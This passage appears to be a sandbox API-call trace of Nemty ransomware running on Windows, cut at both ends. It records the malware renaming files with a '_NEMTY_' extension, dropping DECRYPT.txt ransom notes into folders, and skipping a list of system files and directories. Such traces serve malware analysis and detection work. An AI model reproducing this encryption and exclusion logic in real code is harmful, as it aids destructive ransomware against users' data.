(in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.494] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.494] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.494] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.494] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.503] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.503] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.503] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.503] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.513] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.513] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.513] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.513] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.522] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.522] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.522] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.522] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.531] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.531] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.540] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.540] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.540] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.540] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.546] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.546] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.546] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.546] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0143.552] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.552] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.552] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.552] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402a8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0143.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0143.552] CloseHandle (hObject=0xffffffff) returned 0 [0143.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340418 [0143.553] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0143.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0143.553] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0143.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0143.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0143.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404c0 [0143.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0143.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c0 | out: hHeap=0x4f90000) returned 1 [0143.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0143.553] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\gadget.xml._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\gadget.xml._nemty_kgobjgd_")) returned 0 [0143.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0143.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340418 | out: hHeap=0x4f90000) returned 1 [0143.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0143.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0143.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0143.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0143.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0143.553] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="js", cAlternateFileName="")) returned 1 [0143.553] lstrcmpiW (lpString1="js", lpString2=".") returned 1 [0143.553] lstrcmpiW (lpString1="js", lpString2="..") returned 1 [0143.553] lstrcmpiW (lpString1="js", lpString2="...") returned 1 [0143.553] lstrcmpiW (lpString1="js", lpString2="windows") returned -1 [0143.553] lstrcmpiW (lpString1="js", lpString2="$RECYCLE.BIN") returned 1 [0143.553] lstrcmpiW (lpString1="js", lpString2="rsa") returned -1 [0143.554] lstrcmpiW (lpString1="js", lpString2="NTDETECT.COM") returned -1 [0143.554] lstrcmpiW (lpString1="js", lpString2="ntldr") returned -1 [0143.554] lstrcmpiW (lpString1="js", lpString2="MSDOS.SYS") returned -1 [0143.554] lstrcmpiW (lpString1="js", lpString2="IO.SYS") returned 1 [0143.554] lstrcmpiW (lpString1="js", lpString2="boot.ini") returned 1 [0143.554] lstrcmpiW (lpString1="js", lpString2="boot.ini") returned 1 [0143.554] lstrcmpiW (lpString1="js", lpString2="AUTOEXEC.BAT") returned 1 [0143.554] lstrcmpiW (lpString1="js", lpString2="ntuser.dat") returned -1 [0143.554] lstrcmpiW (lpString1="js", lpString2="desktop.ini") returned 1 [0143.554] lstrcmpiW (lpString1="js", lpString2="CONFIG.SYS") returned 1 [0143.554] lstrcmpiW (lpString1="js", lpString2="RECYCLER") returned -1 [0143.554] lstrcmpiW (lpString1="js", lpString2="BOOTSECT.BAK") returned 1 [0143.554] lstrcmpiW (lpString1="js", lpString2="bootmgr") returned 1 [0143.554] lstrcmpiW (lpString1="js", lpString2="programdata") returned -1 [0143.554] lstrcmpiW (lpString1="js", lpString2="appdata") returned 1 [0143.554] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="js", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0143.554] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="js", cchWideChar=2, lpMultiByteStr=0x653ebd0, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="js", lpUsedDefaultChar=0x0) returned 2 [0143.554] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="js", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0143.554] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="js", cchWideChar=2, lpMultiByteStr=0x653ebd0, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="js", lpUsedDefaultChar=0x0) returned 2 [0143.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0143.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340200 | out: hHeap=0x4f90000) returned 1 [0143.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0143.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0143.554] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0143.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.554] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0143.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0143.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340158 [0143.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0143.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340210 [0143.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0143.554] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\js\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0143.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340210 | out: hHeap=0x4f90000) returned 1 [0143.556] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0143.556] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0143.557] CloseHandle (hObject=0x254) returned 1 [0143.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0143.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0143.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0143.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0143.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0143.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0143.557] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0143.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0143.557] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0143.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0143.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340158 [0143.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340210 [0143.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0143.557] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\js\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0143.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340210 | out: hHeap=0x4f90000) returned 1 [0143.558] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0143.558] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0143.559] CloseHandle (hObject=0x254) returned 1 [0143.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0143.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0143.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0143.559] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9357170, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x9357170, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0143.559] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0143.559] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9357170, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x9357170, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.559] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0143.559] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0143.559] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1aee4, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="RSSFeeds.js", cAlternateFileName="")) returned 1 [0143.559] lstrcmpiW (lpString1="RSSFeeds.js", lpString2=".") returned 1 [0143.559] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="..") returned 1 [0143.559] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="...") returned 1 [0143.560] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="windows") returned -1 [0143.560] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="$RECYCLE.BIN") returned 1 [0143.560] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="rsa") returned 1 [0143.560] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="NTDETECT.COM") returned 1 [0143.560] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="ntldr") returned 1 [0143.560] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="MSDOS.SYS") returned 1 [0143.560] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="IO.SYS") returned 1 [0143.560] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="boot.ini") returned 1 [0143.560] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="boot.ini") returned 1 [0143.560] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="AUTOEXEC.BAT") returned 1 [0143.560] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="ntuser.dat") returned 1 [0143.560] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="desktop.ini") returned 1 [0143.560] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="CONFIG.SYS") returned 1 [0143.560] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="RECYCLER") returned 1 [0143.560] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="BOOTSECT.BAK") returned 1 [0143.560] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="bootmgr") returned 1 [0143.560] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="programdata") returned 1 [0143.560] lstrcmpiW (lpString1="RSSFeeds.js", lpString2="appdata") returned 1 [0143.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.560] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RSSFeeds.js", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0143.560] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RSSFeeds.js", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RSSFeeds.js", lpUsedDefaultChar=0x0) returned 11 [0143.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0143.560] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RSSFeeds.js", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0143.560] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RSSFeeds.js", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RSSFeeds.js", lpUsedDefaultChar=0x0) returned 11 [0143.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0143.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.560] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RSSFeeds.js", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0143.560] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RSSFeeds.js", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RSSFeeds.js", lpUsedDefaultChar=0x0) returned 11 [0143.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.560] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RSSFeeds.js", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0143.560] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RSSFeeds.js", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RSSFeeds.js", lpUsedDefaultChar=0x0) returned 11 [0143.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340158 [0143.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0143.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340200 [0143.561] Sleep (dwMilliseconds=0x5) [0143.564] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x937d2d0, dwHighDateTime=0x1d561e8)) [0143.564] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x937d2d0, 